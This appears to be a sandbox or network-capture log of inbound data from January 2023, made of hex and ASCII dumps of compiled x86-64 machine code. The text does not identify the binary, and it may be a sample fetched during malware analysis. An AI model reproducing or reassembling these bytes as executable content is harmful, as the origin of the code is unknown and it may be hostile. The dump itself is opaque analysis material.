2023-01-25 20:04:35 UTC	3244	IN	Data Raw: 89 6c 24 28 48 8d 6c 24 28 48 8b 40 08 48 89 44 24 20 0f 1f 00 e8 db 39 ce ff 48 89 c3 31 c9 31 ff 48 8d 05 2d 68 13 00 e8 08 cb cd ff 48 8b 4c 24 20 48 89 0c 24 e8 da a6 fe ff 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 8b 44 24 08 48 8b 6c 24 28 48 83 c4 30 c3 48 89 44 24 08 e8 4d be d3 ff 48 8b 44 24 08 eb 86 cc cc cc cc cc cc 49 3b 66 10 76 6a 48 83 ec 30 48 89 6c 24 28 48 8d 6c 24 28 48 8b 40 08 48 89 44 24 20 0f 1f 00 e8 5b 39 ce ff 48 89 c3 31 c9 31 ff 48 8d 05 ad 67 13 00 e8 88 ca cd ff 48 8b 4c 24 20 48 89 0c 24 c7 44 24 08 01 00 00 00 e8 92 a4 fe ff 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 8b 44 24 10 48 8b 6c 24 28 48 83 c4 30 c3 48 89 44 24 08 e8 c6 bd d3 ff 48 8b 44 24 08 90 e9 7b ff ff ff cc cc cc cc cc Data Ascii: l$(Hl$(H@HD$ 9H11H-hHL$ H$EWeL4%(MHD$Hl$(H0HD$MHD$I;fvjH0Hl$(Hl$(H@HD$ [9H11HgHL$ H$D$EWeL4%(MD$Hl$(H0HD$HD${
2023-01-25 20:04:35 UTC	3260	IN	Data Raw: 24 20 01 00 00 48 89 9c 24 90 00 00 00 48 8d 84 24 c0 01 00 00 e8 7b 45 ce ff 48 8b 94 24 20 01 00 00 4c 8b a4 24 90 00 00 00 4c 89 e0 48 89 d1 48 8b 94 24 c0 01 00 00 48 85 d2 74 24 4c 8b a4 24 c8 01 00 00 4d 8b 2c 24 48 8b 3a 48 8b 72 08 49 83 7c 24 08 00 0f 87 6b ff ff ff e9 a5 01 00 00 48 8d bc 24 20 02 00 00 66 0f 1f 84 00 00 00 00 00 0f 1f 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 f3 a7 d3 ff 48 8b 6d 00 48 8d 15 b2 a6 1b 00 48 89 94 24 20 02 00 00 48 c7 84 24 28 02 00 00 2e 00 00 00 48 8b 94 24 30 01 00 00 48 89 94 24 30 02 00 00 48 8b 94 24 a8 00 00 00 48 89 94 24 38 02 00 00 48 8d 15 95 8f 1a 00 48 89 94 24 40 02 00 00 48 c7 84 24 48 02 00 00 0a 00 00 00 48 89 8c 24 50 02 00 00 48 89 84 24 58 02 00 00 48 8d 15 17 71 1a 00 48 89 94 24 60 02 00 00 48 c7 Data Ascii: $ H$H${EH$ L$LHH$Ht$L$M,$H:HrI\|$kH$ fHl$Hl$HmHH$ H$(.H$0H$0H$H$8HH$@H$HH$PH$XHqH$`H
2023-01-25 20:04:35 UTC	3276	IN	Data Raw: 48 8b bc 24 60 03 00 00 48 8b b4 24 68 03 00 00 f2 0f 10 84 24 70 03 00 00 4c 8b 84 24 78 03 00 00 4c 8b 8c 24 80 03 00 00 4c 8b 94 24 88 03 00 00 4c 8b 9c 24 90 03 00 00 e8 f7 a8 e1 ff 48 89 84 24 88 06 00 00 48 89 9c 24 90 06 00 00 48 8b 44 24 68 48 8b 5c 24 58 48 8d 0d 70 66 1a 00 bf 0e 00 00 00 e8 4c 22 e2 ff 48 89 84 24 c8 00 00 00 48 89 9c 24 d0 00 00 00 48 89 8c 24 d8 00 00 00 48 89 bc 24 e0 00 00 00 48 89 b4 24 e8 00 00 00 f2 0f 11 84 24 f0 00 00 00 4c 89 84 24 f8 00 00 00 4c 89 8c 24 00 01 00 00 4c 89 94 24 08 01 00 00 4c 89 9c 24 10 01 00 00 48 8d bc 24 f8 02 00 00 48 8d b4 24 c8 00 00 00 66 0f 1f 84 00 00 00 00 00 66 90 48 89 6c 24 f0 48 8d 6c 24 f0 e8 0b 6b d3 ff 48 8b 6d 00 48 8b 84 24 f8 02 00 00 48 8b 9c 24 00 03 00 00 48 8b 8c 24 08 03 00 Data Ascii: H$`H$h$pL$xL$L$L$H$H$HD$hH\$XHpfL"H$H$H$H$H$$L$L$L$L$H$H$ffHl$Hl$kHmH$H$H$
2023-01-25 20:04:35 UTC	3292	IN	Data Raw: 90 90 90 90 90 4c 8d 0d 11 c6 0c 00 41 b8 ff ff ff ff e9 0e 7d 03 00 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 49 c7 c1 ff ff ff ff e9 e4 7b 03 00 0f 1f 40 00 e9 9b 2a 03 00 66 66 2e 0f 1f 84 00 00 00 00 00 57 56 53 48 83 ec 30 48 89 cb e8 61 20 d3 ff 8b 53 08 44 8b 4b 18 48 c7 44 24 20 ff ff ff ff 4c 8b 43 10 48 8b 0b 48 89 c7 e8 92 9e 03 00 89 c6 e8 3b 20 d3 ff 48 29 f8 89 74 03 20 48 83 c4 30 5b 5e 5f c3 66 66 2e 0f 1f 84 00 00 00 00 00 90 57 56 53 48 83 ec 30 48 89 cb e8 11 20 d3 ff 8b 53 08 44 8b 4b 18 48 c7 44 24 20 ff ff ff ff 4c 8b 43 10 48 8b 0b 48 89 c7 e8 92 9e 03 00 89 c6 e8 eb 1f d3 ff 48 29 f8 89 74 03 20 48 83 c4 30 5b 5e 5f c3 66 66 2e 0f 1f 84 00 00 00 00 00 90 57 56 53 48 83 ec 40 48 89 cb e8 c1 1f d3 ff 48 8b 53 08 44 8b 4b 14 48 89 c7 Data Ascii: LA}ff.I{@*ff.WVSH0Ha SDKHD$ LCHH; H)t H0[^_ff.WVSH0H SDKHD$ LCHHH)t H0[^_ff.WVSH@HHSDKH
2023-01-25 20:04:35 UTC	3308	IN	Data Raw: cf 7f e2 49 83 c4 10 4d 39 e5 75 ac 31 c0 eb 3b 0f 1f 44 00 00 4c 8b 00 31 c9 eb 18 66 0f 1f 84 00 00 00 00 00 41 0f b6 14 12 41 38 14 02 75 ac 48 83 c1 01 41 0f b6 04 08 41 0f b6 14 0b 39 d0 75 e3 85 c0 75 ea b8 01 00 00 00 5b 5e 5f 5d 41 5c 41 5d c3 90 41 55 41 54 53 48 83 ec 20 80 3d 54 a5 10 00 00 48 89 cb 0f 84 af 00 00 00 b9 02 00 00 00 ff 15 ac a5 10 00 49 89 c4 48 85 c0 0f 84 80 00 00 00 48 89 c1 ff 15 a7 a5 10 00 44 8b 0d 60 d4 48 00 41 83 e9 01 45 89 c8 0f 88 97 00 00 00 48 8b 05 54 d4 48 00 49 63 d1 48 8d 14 d0 eb 11 0f 1f 00 41 83 e8 01 48 83 ea 08 41 83 f8 ff 74 3a 48 39 1a 75 ed 44 89 0d 26 d4 48 00 45 89 c9 41 bd 01 00 00 00 4a 8b 04 c8 48 89 02 4d 85 e4 74 09 4c 89 e1 ff 15 58 a5 10 00 44 89 e8 48 83 c4 20 5b 41 5c 41 5d c3 0f 1f 00 45 31 Data Ascii: IM9u1;DL1fAA8uHAA9uu[^_]A\A]AUATSH =THIHHD`HAEHTHIcHAHAt:H9uD&HEAJHMtLXDH [A\A]E1
2023-01-25 20:04:35 UTC	3324	IN	Data Raw: 81 80 00 00 00 66 c1 c2 08 66 41 23 51 1a 0f b7 d2 49 03 51 50 48 ff e0 0f 1f 44 00 00 c3 0f 1f 80 00 00 00 00 41 57 41 56 41 55 41 54 55 57 56 53 48 83 ec 38 48 8b b4 24 a0 00 00 00 48 8b 41 68 48 89 cb 49 89 d5 4c 89 c5 4d 89 cc 48 39 46 08 75 08 8b 3e 0f cf 85 ff 75 1a 31 c0 48 83 c4 38 5b 5e 5f 5d 41 5c 41 5d 41 5e 41 5f c3 0f 1f 80 00 00 00 00 4c 8d 71 60 45 31 ff 80 79 55 00 48 89 f2 4c 89 74 24 20 41 0f 94 c7 4d 89 f1 41 b8 08 00 00 00 44 89 f9 e8 b8 a4 ff ff 4c 89 74 24 20 4d 89 f1 4c 89 e2 44 8b 43 38 44 89 f9 e8 a1 a4 ff ff 8b 46 10 0f c8 39 43 60 75 9d 8b 46 14 0f c8 39 43 64 75 93 41 89 7d 00 8b 46 04 0f c8 89 45 00 b8 01 00 00 00 eb 82 66 2e 0f 1f 84 00 00 00 00 00 41 56 41 55 41 54 55 57 56 53 48 83 ec 30 c6 02 00 48 8b 01 49 89 cc 48 89 d3 Data Ascii: ffA#QIQPHDAWAVAUATUWVSH8H$HAhHILMH9Fu>u1H8[^_]A\A]A^A_Lq`E1yUHLt$ AMADLt$ MLDC8DF9C`uF9CduA}FEf.AVAUATUWVSH0HIH
2023-01-25 20:04:35 UTC	3340	IN	Data Raw: 8b 19 49 89 cc 85 c0 75 54 8b 53 0c 41 8b 4c 24 20 8b 43 08 41 2b 44 24 24 41 89 d0 89 43 08 8d 44 08 0a 41 29 c8 29 d0 4c 89 e1 44 89 43 0c 89 43 10 e8 2e ff ff ff 49 8b 4c 24 50 e8 14 cf ff ff 49 8b 4c 24 40 e8 0a cf ff ff 4c 89 e1 48 83 c4 28 5b 41 5c e9 fb ce ff ff 0f 1f 00 31 d2 e8 31 fe ff ff eb a3 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 41 1c 85 c0 75 09 c3 0f 1f 84 00 00 00 00 00 4c 8b 09 44 8b 51 24 45 8b 41 08 41 8d 82 00 00 ff 7f 44 29 c0 39 d0 0f 46 d0 45 29 d0 41 8d 04 10 41 89 41 08 41 2b 41 0c 83 c0 0a 41 89 41 10 8d 04 d2 89 51 24 ba cd cc cc cc 48 0f af c2 48 c1 e8 23 89 41 28 e9 95 fe ff ff 0f 1f 44 00 00 56 53 48 83 ec 28 8b 41 1c 85 c0 75 0b 48 83 c4 28 5b 5e c3 0f 1f 40 00 48 8b 19 8b 73 08 c7 43 08 00 00 00 00 e8 66 fe ff ff Data Ascii: IuTSAL$ CA+D$$ACDA))LDCC.IL$PIL$@LH([A\11ff.@AuLDQ$EAAD)9FE)AAAA+AAAQ$HH#A(DVSH(AuH([^@HsCf
2023-01-25 20:04:35 UTC	3356	IN	Data Raw: 48 48 85 d2 74 0b 48 89 f9 e8 c7 fd ff ff 49 09 c4 48 8b 53 30 48 85 d2 74 0b 48 89 f9 e8 43 ff ff ff 49 09 c4 48 8b 53 40 48 85 d2 74 0b 48 89 f9 e8 2f ff ff ff 49 09 c4 48 85 ed 75 1f 48 8b 5b 50 48 85 db 75 8a 4c 89 e0 48 83 c4 20 5b 5e 5f 5d 41 5c 41 5d 41 5e c3 0f 1f 40 00 8b 45 00 85 c0 7e da 4c 8d 75 30 45 31 ed 49 8b 16 48 89 f9 49 63 f5 e8 3c ff ff ff 49 09 c4 48 8d 04 76 48 8d 04 86 f6 44 c5 49 04 75 14 49 8b 56 20 48 85 d2 74 0b 48 89 f9 e8 c9 fe ff ff 49 09 c4 48 8d 04 76 48 8d 04 86 f6 44 c5 48 04 74 14 49 8b 56 30 48 85 d2 74 0b 48 89 f9 e8 16 fd ff ff 49 09 c4 41 83 c5 01 49 83 c6 68 44 39 6d 00 7f 9b e9 69 ff ff ff 53 44 8b 92 90 00 00 00 48 8b 1a 41 8d 42 ff 45 85 c0 41 0f 49 c0 80 7b 67 00 41 89 c3 48 8d 05 bc 13 48 00 75 12 49 63 c3 4c Data Ascii: HHtHIHS0HtHCIHS@HtH/IHuH[PHuLH [^_]A\A]A^@E~Lu0E1IHIc<IHvHDIuIV HtHIHvHDHtIV0HtHIAIhD9miSDHABEAI{gAHHuIcL
2023-01-25 20:04:35 UTC	3372	IN	Data Raw: 8d 14 c5 00 00 00 00 48 89 c5 48 29 c2 48 c1 e2 03 e8 2f fa ff ff 49 89 c4 48 85 c0 0f 84 da 00 00 00 48 63 d7 48 8d 04 d5 00 00 00 00 48 29 d0 31 d2 49 8d 1c c4 89 e8 29 f8 48 89 d9 48 98 4c 8d 04 c5 00 00 00 00 49 29 c0 49 c1 e0 03 e8 9a 85 0b 00 4c 89 66 78 39 ef 7c 71 e9 b5 00 00 00 0f 1f 44 00 00 48 8b 46 60 48 85 c0 7e 70 48 89 03 8b 46 3c b9 00 02 00 00 89 43 1c e8 b4 f3 ff ff 48 85 c0 74 67 44 89 20 48 89 43 10 48 8b 86 28 01 00 00 c7 43 20 01 00 00 00 48 85 c0 74 1b 8b 50 58 89 53 24 8b 50 60 89 53 28 8b 50 64 89 53 2c 8b 80 88 00 00 00 89 43 30 83 c7 01 48 83 c3 38 89 be 80 00 00 00 39 ef 74 49 48 8b 46 50 44 8b 66 20 48 83 38 00 44 89 63 18 75 87 8b 86 b8 00 00 00 eb 88 0f 1f 80 00 00 00 00 48 c7 43 10 00 00 00 00 c7 43 20 01 00 00 00 b8 07 00 Data Ascii: HH)H/IHHcHH)1I)HHLI)ILfx9\|qDHF`H~pHF<CHtgD HCH(C HtPXS$P`S(PdS,C0H89tIHFPDf H8DcuHCC
2023-01-25 20:04:35 UTC	3388	IN	Data Raw: 08 48 8d 14 76 48 8d 0c d0 31 d2 e8 a5 fe ff ff eb df 31 c0 48 83 c4 60 5b 5e 5f c3 48 8d 05 1e 9e 3f 00 eb cc 41 54 53 48 83 ec 28 48 89 cb 4d 89 c4 48 8b 09 48 85 d2 74 08 e8 26 c8 ff ff 48 8b 0b 4d 85 e4 74 16 4c 89 e2 48 83 c4 28 5b 41 5c e9 0f c8 ff ff 0f 1f 80 00 00 00 00 48 83 c4 28 5b 41 5c c3 48 8b 01 48 8b 48 18 48 85 c9 74 0c 48 ff 25 cd 65 0f 00 0f 1f 44 00 00 c3 0f 1f 80 00 00 00 00 55 57 56 53 48 83 ec 48 48 89 d6 4c 8d 4c 24 30 4c 8d 44 24 2c 48 89 cf 48 8d 15 a5 9d 3f 00 e8 1c fe fe ff 83 f8 02 0f 85 b3 00 00 00 80 7f 05 3a 48 8d 5f 05 0f 84 c5 00 00 00 c7 44 24 34 00 00 00 00 66 0f ef c0 48 8d 2d 62 a4 40 00 8b 44 24 2c 31 c9 c6 46 2b 01 66 89 4e 28 89 46 14 8b 44 24 30 f2 0f 11 46 20 89 46 18 0f b6 03 f6 44 05 00 01 74 12 0f 1f 00 0f b6 Data Ascii: HvH11H`[^_H?ATSH(HMHHt&HMtLH([A\H([A\HHHHtH%eDUWVSHHHLL$0LD$,HH?:H_D$4fH-b@D$,1F+fN(FD$0F FDt
2023-01-25 20:04:35 UTC	3404	IN	Data Raw: 38 48 89 94 24 20 01 00 00 44 88 7c 24 40 48 85 ff 0f 88 6f 07 00 00 0f b6 4c 24 2c 48 85 ff b8 00 00 00 00 0f 44 c8 88 4c 24 2c 80 7c 24 30 00 74 14 31 c0 80 7c 24 40 00 44 89 e1 0f 95 c0 29 c1 39 ce 0f 4c f1 83 fe 24 0f 8e 76 07 00 00 48 63 c6 4c 8d 78 0a 45 84 c9 74 17 48 69 c0 56 55 55 55 89 f2 c1 fa 1f 48 c1 e8 20 29 d0 48 98 49 01 c7 4c 89 fa 4c 89 f1 44 88 4c 24 54 44 88 44 24 30 e8 4e 16 00 00 48 85 c0 0f 84 bf 02 00 00 49 63 d7 44 0f b6 44 24 30 44 0f b6 4c 24 54 49 89 c7 48 83 ea 01 48 01 d0 48 89 44 24 30 48 89 c1 41 80 f8 0f 0f 84 1c 07 00 00 48 8d 44 6d 00 48 8d 15 2e 62 40 00 48 8d 04 42 4c 8d 15 c3 62 40 00 44 0f b6 58 04 44 0f b6 40 01 66 0f 1f 84 00 00 00 00 00 48 89 f8 31 d2 48 83 e9 01 49 f7 f0 4c 01 d2 42 0f b6 14 1a 88 11 48 89 fa 48 Data Ascii: 8H$ D\|$@HoL$,HDL$,\|$0t1\|$@D)9L$vHcLxEtHiVUUUH )HILLDL$TDD$0NHIcDD$0DL$TIHHHD$0HAHDmH.b@HBLb@DXD@fH1HILBHH
2023-01-25 20:04:35 UTC	3420	IN	Data Raw: 48 85 c0 74 30 48 39 70 08 75 f2 8b 40 14 eb 12 0f 1f 44 00 00 83 43 30 01 c7 43 18 0b 02 00 00 31 c0 48 83 c4 20 5b 5e 5f 5d 41 5c c3 0f 1f 84 00 00 00 00 00 ba 18 00 00 00 e8 96 d5 ff ff 48 8d 97 b8 00 00 00 4c 8d 05 38 90 fe ff 48 89 f9 49 89 c1 49 89 c4 e8 8a df ff ff 48 8b 03 80 78 67 00 75 bc 48 8b 87 98 00 00 00 8b 57 38 49 89 04 24 8d 42 02 83 c2 04 4c 89 a7 98 00 00 00 49 89 74 24 08 41 89 6c 24 10 41 89 44 24 14 89 57 38 eb 8f 66 90 41 55 41 54 53 48 83 ec 30 f3 41 0f 6f 00 89 d3 0f 11 44 24 20 8b 54 24 28 49 89 cd 48 8b 09 48 83 c2 49 e8 18 d5 ff ff 49 89 c4 48 85 c0 0f 84 ab 00 00 00 88 18 31 d2 49 8d 4c 24 48 c7 40 04 00 00 80 00 48 c7 40 18 00 00 00 00 48 c7 40 10 00 00 00 00 48 c7 40 38 00 00 00 00 48 c7 40 20 00 00 00 00 48 c7 40 40 00 00 Data Ascii: Ht0H9pu@DC0C1H [^_]A\HL8HIIHxguHW8I$BLIt$Al$AD$W8fAUATSH0AoD$ T$(IHHIIH1IL$H@H@H@H@8H@ H@@
2023-01-25 20:04:35 UTC	3436	IN	Data Raw: cc 44 89 69 44 48 89 d6 4c 89 c7 4c 89 cb 85 ed 0f 85 af 02 00 00 49 8b 04 24 80 78 67 00 0f 85 81 02 00 00 8b 17 85 d2 0f 8f 6f 01 00 00 48 8b 84 24 b8 00 00 00 0f b6 00 3c 0c 0f 84 7a 01 00 00 0f 87 b6 00 00 00 3c 0a 0f 84 96 03 00 00 3c 0b 0f 85 ee 03 00 00 41 0f b6 44 24 1f 84 c0 0f 84 30 04 00 00 83 e8 01 41 88 44 24 1f 0f b6 c0 41 8b bc 84 d8 00 00 00 48 8b 84 24 b0 00 00 00 44 8b 03 ba 61 00 00 00 4c 89 f1 44 8b 08 48 8b 84 24 b8 00 00 00 48 8b 68 18 89 7c 24 20 44 89 4c 24 34 e8 bd eb ff ff 44 8b 4c 24 34 49 89 e8 4c 89 f1 89 c2 e8 5b a2 ff ff 41 89 f9 ba 8a 00 00 00 4c 89 f1 48 8b 84 24 b0 00 00 00 8b 00 89 44 24 28 8b 03 89 44 24 20 48 8b 84 24 b8 00 00 00 44 8b 40 04 e8 eb eb ff ff 85 ff 74 70 89 fa 4c 89 e1 e8 7d a7 fe ff eb 64 0f 1f 00 3c 0d Data Ascii: DiDHLLI$xgoH$<z<<AD$0AD$AH$DaLDH$Hh\|$ DL$4DL$4IL[ALH$D$(D$ H$D@tpL}d<
2023-01-25 20:04:35 UTC	3452	IN	Data Raw: 4d 85 d2 74 10 49 83 7a 40 00 75 d5 66 0f 1f 84 00 00 00 00 00 48 85 c0 74 06 c7 00 00 00 00 00 31 c0 c3 66 90 41 54 48 83 ec 20 44 0f b6 5a 3f 49 89 cc 49 89 d1 45 89 c2 41 80 fb 01 74 6e 8b 42 30 a9 01 10 00 00 74 10 48 8b 09 a8 01 75 25 e8 d0 6e fe ff 85 c0 75 33 41 80 fb 02 75 09 45 85 d2 0f 84 8d 00 00 00 31 c0 48 83 c4 20 41 5c c3 0f 1f 40 00 48 8b 41 30 25 01 00 00 10 48 83 f8 01 74 d5 41 80 7c 24 1e 00 75 cd 4d 8b 01 48 8d 15 b7 a5 3e 00 4c 89 e1 e8 87 53 ff ff b8 01 00 00 00 48 83 c4 20 41 5c c3 0f 1f 00 49 8b 41 50 48 8b 11 48 85 c0 75 19 eb 56 66 2e 0f 1f 84 00 00 00 00 00 48 8b 40 28 48 85 c0 0f 84 68 46 0a 00 48 3b 10 75 ee 48 8b 40 08 48 8b 00 48 83 78 68 00 0f 85 7f ff ff ff eb a1 66 2e 0f 1f 84 00 00 00 00 00 4d 8b 01 48 8d 15 6e a5 3e 00 Data Ascii: MtIz@ufHt1fATH DZ?IIEAtnB0tHu%nu3AuE1H A\@HA0%HtA\|$uMH>LSH A\IAPHHuVf.H@(HhFH;uH@HHxhf.MHn>
2023-01-25 20:04:35 UTC	3468	IN	Data Raw: 08 29 d0 0f b6 53 0a 29 d0 89 43 14 48 83 c4 38 5b 5e 5f 5d 41 5c 41 5d c3 0f 1f 40 00 89 06 48 83 c4 38 5b 5e 5f 5d 41 5c 41 5d c3 66 0f 1f 84 00 00 00 00 00 48 8d 05 55 55 3e 00 41 b9 a6 20 01 00 4c 8d 05 a8 69 3e 00 b9 0b 00 00 00 48 89 44 24 20 48 8d 15 7e 69 3e 00 e8 76 eb ff ff c7 06 0b 00 00 00 48 83 c4 38 5b 5e 5f 5d 41 5c 41 5d c3 0f 1f 00 44 0f b7 c0 49 8d 54 24 02 4c 89 e1 44 89 c0 29 f8 44 8d 04 00 4d 63 c0 e8 63 05 0a 00 0f b6 43 19 41 88 44 2d 03 0f b7 43 18 41 88 44 2d 04 83 43 14 02 48 83 c4 38 5b 5e 5f 5d 41 5c 41 5d c3 41 57 41 56 41 55 41 54 55 57 56 53 48 81 ec 88 00 00 00 48 8b 69 50 49 89 cd 0f b7 49 12 41 0f b7 45 18 48 89 ce 8d 3c 41 49 8b 4d 48 89 7c 24 74 41 0f b6 7d 09 44 8b 51 38 48 8d 5c 3d 07 48 89 7c 24 68 0f b6 0b 44 89 54 Data Ascii: )S)CH8[^_]A\A]@H8[^_]A\A]fHUU>A Li>HD$ H~i>vH8[^_]A\A]DIT$LD)DMccCAD-CAD-CH8[^_]A\A]AWAVAUATUWVSHHiPIIAEH<AIMH\|$tA}DQ8H\=H\|$hDT
2023-01-25 20:04:35 UTC	3484	IN	Data Raw: 41 14 a8 04 75 34 a8 08 75 3b a8 02 74 2c ba 01 00 00 00 48 83 c4 38 e9 49 d0 fd ff 66 0f 1f 84 00 00 00 00 00 75 13 0f b7 41 14 a8 02 75 04 a8 2c 75 22 83 e0 d3 66 89 41 14 48 83 c4 38 c3 66 0f 1f 44 00 00 48 8d 51 14 48 83 c4 38 e9 c3 cf fd ff 0f 1f 00 41 0f b6 d0 41 b8 01 00 00 00 48 89 4c 24 28 e8 5c b2 fe ff 48 8b 4c 24 28 0f b7 41 14 eb bf 90 41 55 41 54 53 48 83 ec 20 48 85 c9 0f 84 8e 00 00 00 48 63 d2 45 31 e4 48 8d 04 d5 00 00 00 00 48 29 d0 48 8b 91 80 00 00 00 4c 8d 6c c2 c8 41 f6 45 14 01 74 12 4c 89 e0 48 83 c4 20 5b 41 5c 41 5d c3 0f 1f 44 00 00 48 8b 19 ba 38 00 00 00 48 89 d9 e8 98 d7 fe ff 49 89 c4 48 85 c0 74 d6 b8 01 00 00 00 49 89 5c 24 18 4c 89 ea 4c 89 e1 66 41 89 44 24 14 e8 d5 1f ff ff 41 b8 01 00 00 00 ba 41 00 00 00 4c 89 e1 e8 Data Ascii: Au4u;t,H8IfuAu,u"fAH8fDHQH8AAHL$(\HL$(AAUATSH HHcE1HH)HLlAEtLH [A\A]DH8HIHtI\$LLfAD$AAL
2023-01-25 20:04:35 UTC	3500	IN	Data Raw: 17 66 85 d2 78 12 44 89 44 24 54 e8 f5 ad fd ff 44 8b 44 24 54 0f bf d0 48 8b 4c 24 40 89 f0 66 3b 79 34 74 06 8b 44 24 58 01 d0 89 44 24 20 45 89 f1 ba 34 00 00 00 4c 89 e1 e8 26 ec fe ff 49 63 84 24 90 00 00 00 85 c0 7e 19 49 8b 94 24 88 00 00 00 48 8d 04 40 b9 10 00 00 00 48 8d 04 c2 66 89 48 ea 4c 3b 7c 24 48 0f 85 56 ff ff ff 44 8b 7c 24 60 44 8b 6c 24 64 4c 8b 74 24 68 45 89 e9 45 31 c0 ba 08 00 00 00 4c 89 e1 c7 44 24 20 00 00 00 00 e8 cc eb fe ff e9 cb fb ff ff 48 8b 44 24 40 48 39 03 75 07 80 7c 24 54 00 75 cf 48 8b 54 24 38 49 8b 0e e8 a9 1d ff ff 8b 7c 24 50 45 89 f9 4c 89 e1 c7 44 24 20 00 00 00 00 ba 60 00 00 00 48 89 c6 41 89 f8 e8 87 eb fe ff 45 89 f9 49 89 f0 4c 89 e1 89 c2 e8 27 a2 fe ff 44 89 7c 24 28 45 89 e9 4c 89 e1 89 7c 24 20 44 8b Data Ascii: fxDD$TDD$THL$@f;y4tD$XD$ E4L&Ic$~I$H@HfHL;\|$HVD\|$`Dl$dLt$hEE1LD$ HD$@H9u\|$TuHT$8I\|$PELD$ `HAEIL'D\|$(EL\|$ D
2023-01-25 20:04:35 UTC	3516	IN	Data Raw: 00 00 00 00 00 48 63 81 98 00 00 00 48 c1 e0 04 48 03 81 a0 00 00 00 49 8b 0a 48 8b 10 66 f7 41 14 00 90 0f 84 44 ff ff ff e9 7e ff ff ff 0f 1f 80 00 00 00 00 48 8b 51 40 41 b9 01 00 00 00 48 c7 44 24 20 ff ff ff ff 44 8b 41 48 4c 89 d1 e8 11 fb ff ff 31 c0 48 83 c4 38 c3 66 2e 0f 1f 84 00 00 00 00 00 48 83 ec 38 49 89 d2 41 83 f8 02 0f 84 af 00 00 00 7f 35 45 85 c0 74 78 41 83 f8 01 75 52 48 8b 51 20 41 b9 01 00 00 00 48 c7 44 24 20 ff ff ff ff 44 8b 41 28 4c 89 d1 e8 c3 fa ff ff 31 c0 48 83 c4 38 c3 0f 1f 40 00 41 83 f8 03 75 22 48 63 51 30 49 8b 0a 66 f7 41 14 00 90 75 22 b8 04 00 00 00 48 89 11 66 89 41 14 31 c0 48 83 c4 38 c3 48 63 51 34 49 8b 0a 66 f7 41 14 00 90 74 de e8 6c 14 fd ff 31 c0 48 83 c4 38 c3 0f 1f 44 00 00 48 8b 51 08 41 b9 01 00 00 00 Data Ascii: HcHHIHfAD~HQ@AHD$ DAHL1H8f.H8IA5EtxAuRHQ AHD$ DA(L1H8@Au"HcQ0IfAu"HfA1H8HcQ4IfAtl1H8DHQA
2023-01-25 20:04:35 UTC	3532	IN	Data Raw: 40 48 00 00 00 00 4c 8b 46 48 4d 85 c0 74 24 8b 4c 24 40 39 4c 24 50 7f 1a 4c 8d 0d e4 72 3d 00 48 89 f2 48 89 e9 e8 aa f9 ff ff 85 c0 0f 85 c2 00 00 00 48 8b 44 24 48 80 78 67 00 0f 85 b3 00 00 00 81 a4 24 c8 00 00 00 ff bf ff ff 4d 85 ff 0f 85 75 01 00 00 48 8b 46 58 48 85 c0 74 12 48 8b 50 20 48 8b 4e 20 8b 1a 39 19 0f 85 d3 01 00 00 48 8b 76 50 83 44 24 40 01 48 85 f6 0f 84 11 02 00 00 8b 46 04 e9 dd fc ff ff 48 8b 84 24 38 01 00 00 48 8b 40 58 48 89 84 24 38 01 00 00 48 85 c0 74 0c 8b 44 24 30 85 c0 0f 85 82 02 00 00 8b 44 24 48 85 d2 7f 15 e9 98 00 00 00 0f 1f 84 00 00 00 00 00 39 d0 0f 84 88 00 00 00 48 63 c8 83 c0 01 48 c1 e1 05 f6 44 0f 1c 04 75 e7 41 89 c0 48 8d 15 1d 73 3d 00 4c 89 e1 e8 35 13 fe ff 0f 1f 44 00 00 b8 02 00 00 00 48 81 c4 e8 00 Data Ascii: @HLFHMt$L$@9L$PLr=HHHD$Hxg$MuHFXHtHP HN 9HvPD$@HFH$8H@XH$8HtD$0D$H9HcHDuAHs=L5DH
2023-01-25 20:04:35 UTC	3548	IN	Data Raw: 8b bc 24 88 00 00 00 48 8b 4c 38 f8 8b 41 38 f6 c4 10 0f 85 29 ff ff ff 25 04 01 00 00 3d 04 01 00 00 0f 84 19 ff ff ff 48 8d 84 24 b8 00 00 00 48 89 4c 24 28 41 b9 00 08 00 00 4d 89 f8 48 89 44 24 30 4c 89 f1 0f b6 84 24 ab 00 00 00 48 c7 84 24 b8 00 00 00 00 00 00 00 83 e8 01 0f b7 c0 89 44 24 20 e8 5c eb ff ff 49 8b 56 10 0f be c0 39 02 75 11 48 8b 84 24 b8 00 00 00 41 80 4e 4c 04 49 89 46 78 45 0f b7 46 44 e9 b2 fe ff ff 66 0f 1f 44 00 00 b8 07 00 00 00 e9 86 fd ff ff 48 8b 8c 24 90 00 00 00 48 8d 15 94 33 3d 00 e8 72 d3 fd ff 48 8b 94 24 a0 00 00 00 48 8b 8c 24 98 00 00 00 e8 4d 8f fc ff b8 01 00 00 00 e9 53 fd ff ff 41 c6 46 4b 02 e9 65 fe ff ff 41 f6 c0 03 0f 84 5b fe ff ff 83 c8 04 41 88 46 4c e9 4f fe ff ff 0f 1f 00 56 53 48 83 ec 28 48 8b 71 28 Data Ascii: $HL8A8)%=H$HL$(AMHD$0L$H$D$ \IV9uH$ANLIFxEFDfDH$H3=rH$H$MSAFKeA[AFLOVSH(Hq(
2023-01-25 20:04:35 UTC	3564	IN	Data Raw: ff 85 db 7e 18 85 c0 75 14 48 63 cb 48 83 c4 20 5b e9 bf e8 fc ff 0f 1f 80 00 00 00 00 31 c0 48 83 c4 20 5b c3 41 57 41 56 41 55 41 54 55 57 56 53 48 83 ec 78 8b 69 0c 49 89 cc 49 89 d5 44 89 c3 4d 89 ce 85 ed 7e 12 49 63 c0 48 63 d5 4c 01 c8 48 39 d0 0f 8f 0b 01 00 00 4d 85 f6 0f 8e a2 00 00 00 4d 39 74 24 18 0f 8f e7 00 00 00 85 db 0f 8e b2 00 00 00 49 8b 44 24 18 eb 3c 0f 1f 84 00 00 00 00 00 49 89 06 49 89 44 24 20 49 89 c6 48 63 f7 4c 89 ea 49 8d 4c 2e 08 29 fb 49 89 f0 49 01 f5 e8 55 85 08 00 49 8b 44 24 18 48 01 f0 49 89 44 24 18 85 db 7e 6f 49 63 74 24 08 48 99 4d 8b 74 24 20 48 f7 fe 89 f7 48 89 f1 29 d7 48 89 d5 39 df 0f 4f fb 48 85 d2 75 b4 83 c1 08 e8 11 ff ff ff 48 85 c0 74 5c 48 c7 00 00 00 00 00 4d 85 f6 